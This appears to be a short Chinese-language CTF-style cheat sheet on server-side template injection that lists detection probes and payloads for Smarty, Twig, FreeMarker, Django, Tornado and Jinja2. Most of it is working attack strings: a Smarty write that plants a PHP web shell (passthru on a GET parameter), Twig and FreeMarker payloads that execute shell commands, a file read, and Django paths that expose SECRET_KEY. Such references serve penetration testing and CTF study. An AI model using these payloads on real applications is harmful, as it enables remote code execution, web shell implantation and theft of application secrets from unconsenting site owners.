SSTI

2023-07-30 17:22:24 浏览数 (2)

模板框架:

代码语言:javascript复制
PHP:
    Smarty
    Twig
    Blade

Java:
    JSP
    FreeMarker
    Velocity

Python:
    Jinja2
    django
    tornado

Smarty

验证方法:

代码语言:javascript复制
{7*7}    //49
{$xxx}    //返回一个php变量

内置标签:

代码语言:javascript复制
//if标签
{if}{/if}
{if readfile('/flag')}{/if}

//php标签(能够执行php命令)(3.1版本已经废弃)
{php}{/php}
{php}echo 1;{/php}

//literal标签
{literal}{/literal}
{literal}<script language="php">phpinfo();</script>{/literal}    //php7以上不支持

特殊变量:

代码语言:javascript复制
//版本信息
{$smarty.version}
//当前模板的文件名
{$smarty.template}

Smarty在模板中无法直接调用 php 中直接执行命令的函数。 $smarty内置变量可用于访问各种环境变量,使用self得到smarty类。

payload:

代码语言:javascript复制
//读文件
{self::getStreamVariable("file:///proc/self/loginuid")}
//写文件
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Twig

验证方法:

代码语言:javascript复制
{{9 * 9}}    //81
{{9 * '9'}}    //81

Twig无法调用静态方法,并且所有函数的返回值都转换为字符串,因此不能使用 self:: 调用静态变量。

payload:

代码语言:javascript复制
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

freeMarker

payload:

代码语言:javascript复制
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

Django

paload:

代码语言:javascript复制
{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

Tornado

payload:

代码语言:javascript复制
{{handler.settings}}
{{self.application.settings}}

Flask/jinja2

验证方法:

代码语言:javascript复制
{9 * 9}    #81
{9 * '9'}    #999999999

特有变量:

  • config
  • request
  • session

函数:

  • url_for() 根据传入的路由器函数名,返回该路由对应的URL
  • get_flashed_messages() 获取消息列表

利用:

代码语言:javascript复制
#  获取当前空间可用的模块,变量,函数
{{url_for.__globals__}}
{{get_flashed_messages.__globals__}}

0 人点赞